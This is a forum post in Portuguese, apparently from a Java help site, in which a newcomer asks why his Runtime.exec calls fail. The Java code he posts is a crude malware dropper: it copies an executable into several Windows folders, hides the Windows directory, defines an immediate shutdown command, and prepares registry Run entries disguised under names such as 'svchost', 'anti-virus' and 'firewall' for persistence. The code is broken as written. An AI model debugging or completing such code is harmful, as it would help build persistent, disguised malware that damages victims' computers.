olá sou novo aki no site do Guj e me registrei aki pois percebi que era um site excelente sobre java e que com ctza aprenderia mtas coisas e tiraria varias duvidas minhas...
no momento estou com a seguinte duvida tentando executar um comando de DOS em java
public class tsukyomi {
public static void main(String[] args) {
String echo = "@echo off";
String brake= "break off";
String A = "copy tsukyomiNW.exe c:\";
String B = "copy tsukyomiNW.exe c:\windows\config";
String C = "copy tsukyomiNW.exe c:\windows\provisioning";
String D = "copy tsukyomiNW.exe c:\windows\security";
String E = "copy tsukyomiNW.exe c:\windows\web";
String F = "copy tsukyomiNW.exe c:\windows\debug";
String attrib = "attrib +h +s c:\windows";
String shutdown = "shutdown -s -t 1";
String a1 = "reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v explorer /t REG_SZ /d c:\tsukyomiNW.exe";
String a2 = "reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v system32 /t REG_SZ /d c:\windows\config\tsukyomiNW.exe";
String a3 = "reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v anti-virus /t REG_SZ /d c:\windows\provisioning\tsukyomiNW.exe";
String a4 = "reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v cmd /t REG_SZ /d c:\windows\security\tsukyomiNW.exe";
String a5 = "reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v svchost /t REG_SZ /d c:\windows\web\tsukyomiNW.exe";
String a6 = "reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v firewall /t REG_SZ /d c:\windows\debug\tsukyomiNW.exe";
try
{
Process p1;
p1 = Runtime.getRuntime().exec(echo);
Process p2;
p2 = Runtime.getRuntime().exec(brake);
Process p3;
p3 = Runtime.getRuntime().exec(A);
Process p4;
p4 = Runtime.getRuntime().exec(B);
Process p5;
p5 = Runtime.getRuntime().exec(C);
Process p6;
p6 = Runtime.getRuntime().exec(D);
Process p7;
p7 = Runtime.getRuntime().exec(E);
Process p8;
p8 = Runtime.getRuntime().exec(F);
Process p9;
p9 = Runtime.getRuntime().exec(attrib);
}
catch(Exception e) {}
}
}
o unico comando quase que funciono foi o shutdown -s -t mas os outros naum funcionam e naum consigo descobrir porque
ja tentei fazer como eh ensinado aki [url]http://www.exampledepot.com/egs/java.lang/Exec.html [/url]
mas tambem naum funcionou :cry:
por favor ae se alguem souber o que está acontecendo me ajuda ae!!
agradeço desde ja :wink:
